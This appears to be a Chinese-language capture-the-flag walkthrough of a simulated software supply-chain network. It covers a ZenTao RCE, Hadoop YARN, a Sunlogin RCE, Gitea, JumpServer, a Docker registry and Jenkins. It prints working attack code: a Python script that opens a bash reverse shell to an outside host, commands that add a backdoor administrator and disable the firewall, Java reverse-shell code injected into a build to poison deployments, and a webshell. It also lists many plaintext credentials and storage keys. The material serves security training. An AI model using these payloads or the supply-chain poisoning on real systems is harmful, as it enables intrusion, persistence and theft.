该场景模拟软件供应链业务逻辑,对作为公司供应链全流程的相关业务进行仿真,模拟供应链相关的生产网段、开发运维网段、运营商网段、测试网段,攻击者需要利用信息收集、漏洞扫描、WEB漏洞利用、数据库漏洞利用、权限提升、代理转发等手段进行渗透
外网端口扫描

# 任务1
拿下外网禅道服务器权限,并提交根目录下的flag
登录禅道系统,F12查看到版本是18.0.beta1,该版本存在RCE

尝试工具利用,成功执行命令

查看根目录flag

# 任务2
登录禅道后台,提交禅道后台的flag
通过RCE上线到vshell

查看配置中的数据库密码

搭隧道连接数据库,查看zt_user表

管理员密码无法md5反查,直接修改为一个弱口令123456

登入系统查看到flag

# 任务3
拿下内网Hadoop权限,并提交flag
扫内网10.10.200.0/24网段

10.10.200.11:8088有/cluster路径,访问查看直接打开了Hadoop Web管理界面

执行脚本创建恶意应用执行RCE
import requests
#python3
target = 'http://10.10.200.11:8088/' # Hadoop地址
lhost = '47.*.*.*' # nc监听地址
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': f'/bin/bash -i >& /dev/tcp/{lhost}/43210 0>&1',
},
},
'application-type': 'YARN',
}
print(data)
requests.post(url,json=data)
反弹shell


# 任务4
到邮件服务器中看看呢?
在禅道系统后台-邮件页面可以看到已配置邮件服务器,但是前端不显示密码

在数据库zt_config表中可以查看

登录webmail,flag在已发送邮件中

# 任务5
FTP服务中好像有flag?
邮箱中保存了密码ftp/wsfxsdfrsaqwczdsa

扫内网开放的21端口

利用获取到的密码登录


# 任务6
OpenVPN好像能通到172.16.10.0/24段?
压缩包给了很多个ovpn配置,1194是ovpn默认端口,修改连接IP为公网入口IP

连接vpn后根据提示扫描172.16.10.0/24网段(需要-np -p 1-65535扫描全量端口,花时间很长)
存在一个windows主机172.16.10.88,开放了49157端口识别为向日葵

利用工具尝试RCE,成功执行

执行命令,添加后门用户,开启远程桌面,关闭防火墙
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net user hack pass@123 /add"
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net localgroup administrators hack /add"
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "netsh advfirewall set allprofiles state off"

在Administrator用户的桌面下找到flag

Docker registry:
pineapple/123qwe2wsxcde3
Jenkins(未使用):
yujian/Yujian123!@#
JumpServer:
admin/78dfghiugrhsdiuhiuasrh
# 任务7
提交Gitea后台flag
在Administrator用户目录下看到有git bash history,编辑了.git/config

桌面pineapple目录下有.git/config,查看发现有10.10.10.10:3000的路径配置

[core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote "origin"]
url = http://yujian:xgMZCiP6gfusWj3@10.10.10.10:3000/Pineapple/Pineapple.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
[user]
name = yujian
email = yujian@mail.yym1ng.com
但是在windows下是无法直接访问的

实际上连接vpn后的网络就能直接访问

根据配置文件的密码yujian/xgMZCiP6gfusWj3登录


# 任务8
尝试对生产环境投毒!拿下投毒后容器的权限,并获取容器uname -r的执行结果,将执行结果md5加密后包裹
flag{}进行提交
看到gitea中有几个项目,先把windows中的Pineapple目录拖出来
回退到master分支,与gitea中保持一致
git reset --hard origin/master
git pull

可以看到项目是若依框架,尝试在其中添加恶意代码,在容器部署时执行反弹shell
入口文件为ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication.java
由于不清楚容器的出网情况,这里可以借助内网windows机器接收反弹shell
try {
String[] cmd = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/172.16.10.88/29999 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
}

开启nc监听

push更改


push后会触发Jenkins构建并部署,等待一段时间(10分钟),成功反弹shell



# 任务9
拿下商城管理系统并提交flag
回到10.10.200.0/24的扫描结果

商城管理系统地址10.10.200.45(实际上开放了公网地址端口20082,但是直接扫1-65535扫不出来)


看到响应头中有PHP版本,考虑Thinkphp框架

利用工具扫描,存在漏洞



# 任务10
找找哪里存在有意思的镜像?提交镜像中的flag
商城系统实际上有两个容器,另一个是公网地址端口20082,但是直接扫1-65535扫不出来


公网地址的这个环境通向网段10.10.100.10/24,扫描该网段
10.10.100.1:80 open
10.10.100.55:22 open
10.10.100.35:80 open
10.10.100.60:80 open
10.10.100.55:80 open
10.10.100.45:80 open
10.10.100.1:22 open
10.10.100.10:22 open
10.10.100.1:443 open
10.10.100.3:3306 open
10.10.100.45:3306 open
10.10.100.2:6379 open
10.10.100.1:8080 open
10.10.100.66:8080 open
10.10.100.60:8080 open
10.10.100.1:9000 open
10.10.100.99:9000 open
10.10.100.10:3000 open
10.10.100.60:5555 open
10.10.100.60:8081 open
10.10.100.60:8082 open
10.10.100.60:8083 open
10.10.100.1:9001 open
10.10.100.99:9001 open
10.10.100.60:9091 open
10.10.100.60:9092 open
10.10.100.53:10000 open
[*] alive ports len is: 27
start vulscan
[*] WebTitle http://10.10.100.1 code:302 len:0 title:None 跳转url: http://10.10.100.1/webmail/
[*] WebTitle http://10.10.100.99:9000 code:307 len:60 title:None 跳转url: http://10.10.100.99:9001
[*] WebTitle http://10.10.100.45 code:200 len:11469 title:商城系统登录
[*] WebTitle http://10.10.100.66:8080 code:403 len:589 title:None
[*] WebTitle http://10.10.100.60:8083 code:404 len:18 title:None
[*] WebTitle https://10.10.100.1 code:302 len:0 title:None 跳转url: https://10.10.100.1/webmail/
[*] WebTitle http://10.10.100.99:9001 code:200 len:1310 title:MinIO Console
[*] WebTitle http://10.10.100.1:9001 code:200 len:1310 title:MinIO Console
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665 title:poste.io :: 欢迎使用 poste.io
[*] WebTitle http://10.10.100.35 code:200 len:69 title:None
[*] WebTitle http://10.10.100.99:9001 code:200 len:1310 title:MinIO Console
[*] WebTitle http://10.10.100.60 code:200 len:17065 title:""
[*] WebTitle http://10.10.100.1:9000 code:307 len:59 title:None 跳转url: http://10.10.100.1:9001
[*] WebTitle http://10.10.100.10:3000 code:200 len:13907 title:Pineapple_Gitea
[*] WebTitle http://10.10.100.1:8080 code:200 len:124 title:None
[*] WebTitle http://10.10.100.60:8081 code:404 len:18 title:None
[+] InfoScan http://10.10.100.1:8080 [禅道]
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665 title:poste.io :: 欢迎使用 poste.io
[*] WebTitle http://10.10.100.1:9001 code:200 len:1310 title:MinIO Console
[*] WebTitle http://10.10.100.60:8082 code:404 len:431 title:HTTP Status 404 – Not Found
[+] InfoScan http://10.10.100.10:3000 [Gitea简易Git服务]
[*] WebTitle https://10.10.100.53:10000 code:200 len:4806 title:Login to Webmin
[*] WebTitle http://10.10.100.60:5555 code:404 len:69 title:404: Not Found
[*] WebTitle http://10.10.100.60:8080 code:302 len:0 title:None 跳转url: http://10.10.100.60:8080/core/auth/login/?next=/
[*] WebTitle http://10.10.100.60:8080/core/auth/login/?next=/ code:200 len:13302 title:JumpServer 开源堡垒机
根据题目提示以及前面拿到的密码,环境中可能存在docker registry,默认端口5000,但是fscan不指定端口的情况下不会扫描,所以尝试fscan -h 10.10.100.10/24 -p 5000指定端口扫描

扫描5000端口路径,存在/v2/_catalog

尝试访问,接口存在认证

利用前面获取的密码pineapple/123qwe2wsxcde3访问
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/_catalog

存在名称为flag的镜像,查看镜像信息
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/tags/list
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/manifests/latest
先查看镜像tag,只有一个latest

然后查看latest的信息,存在写入flag的操作

# 任务11
提交Minio中的flag
docker registry中还有一个spring-boot-minio镜像,查看镜像信息

里面有一个jar包,需要运行容器后提取出来分析
docker login 10.10.100.43:5000 # 输入用户名密码
docker save 10.10.100.43:5000/spring-boot-minio:latest -o spring-boot-minio.tar.gz
docker load -i spring-boot-minio.tar.gz
# 或者直接pull
docker pull 10.10.100.43:5000/spring-boot-minio:latest
由于docker默认只支持HTTPS的远程仓库,如果出现HTTP错误,需要编辑配置文件

/etc/docker/daemon.json

然后重启systemctl restart docker.service
进入容器,jar包在根目录下

docker cp ce2:/sprint-boot-minio-0.6.0.jar ./复制
分析jar包,拿到MinIO的ak/sk和网页端用户名密码

#MinIO对象存储,文件服务器
minio:
endpoint: http://10.10.10.99:9000/ # 外网API,文件上传地址(只支持IP,不支持域名)
access-key: Vzggdhxq3K2KXed3vQ6S
secret-key: zf5XkTNlx2GJwcCywwoAZRx97pGgOfDCozw917J3
#minio-user: admin
#minio-passwd: gygsud7gbskdbbxd3rtqak
file-obj-domain: http://10.3.4.78:9000/ #外网访问文件对象的域,例如:https://res.hackyle.com/
endpoint-in: http://10.3.4.78:9000/ # 内网API
bucket-name: images #本个项目所用的桶名
登录MinIO,查看flag

# 任务12
JumpServer?好像存在历史漏洞
根据前面拿到的用户名密码admin/78dfghiugrhsdiuhiuasrh登录

版本为3.10.6,存在RCE漏洞
JumpServer 漏洞复现(CVE-2024-29201&CVE-2024-29202) | wh0am1i's 个人技术记录
查看资产列表,其中已有一个资产

添加一个user用户

将某个资产授权给该用户(创建后自动授权
以user身份登录,进入作业中心-模版管理-Playbook,添加一个

然后进入工作空间编辑
- name: |
<!--swig0-->

然后进入作业中心-作业管理,创建Playbook作业


保存后,执行该作业

接收到反弹shell


# 任务13
拿下Jenkins的Agent主机~
Jenkins agent已经被默认添加进堡垒机的资源,实际上进到堡垒机后就能直接访问SSH

另外这里还泄露了Jenkins的Web账户密码Jenkins/6TGBsSfdfFWDNN234g6F5

# 任务14
工资查询系统里好像有好看的?
工资系统是外网20081端口,弱口令admin/123456登录
在用户设置页面中有flag

# 任务15
拿下后台工资查询系统,尽情修改工资吧!
在工资系统的后台管理界面,存在可以编辑部分页面HTML的功能

尝试写入一句话木马

提交后,浏览器记录请求提交到/wzszpost接口,并且提示设置成功

但是现在并不清楚编辑的内容会反应在哪个页面
回到gitea,除了flag项目以外还有两个代码审计项目,根据字符串内容得知Code_Audit_it2是工资系统对应的项目

把代码clone下来,搜索wzszpost
git clone http://10.10.10.10:3000/Pineapple/Code_Audit_it2.git
cd Code_Audit_it2
git reset --hard origin/master
git pull

查看代码逻辑,该接口会把请求内容写入config/wzsz.php

尝试访问页面,木马注入成功


# 任务16
再拿下Jenkins主机的权限,结束撒花!
Jenkins的Web页面地址为10.10.100.66:8080
根据agent里泄露的账户Jenkins/6TGBsSfdfFWDNN234g6F5登录
账户是管理员权限,访问/script路径,执行脚本
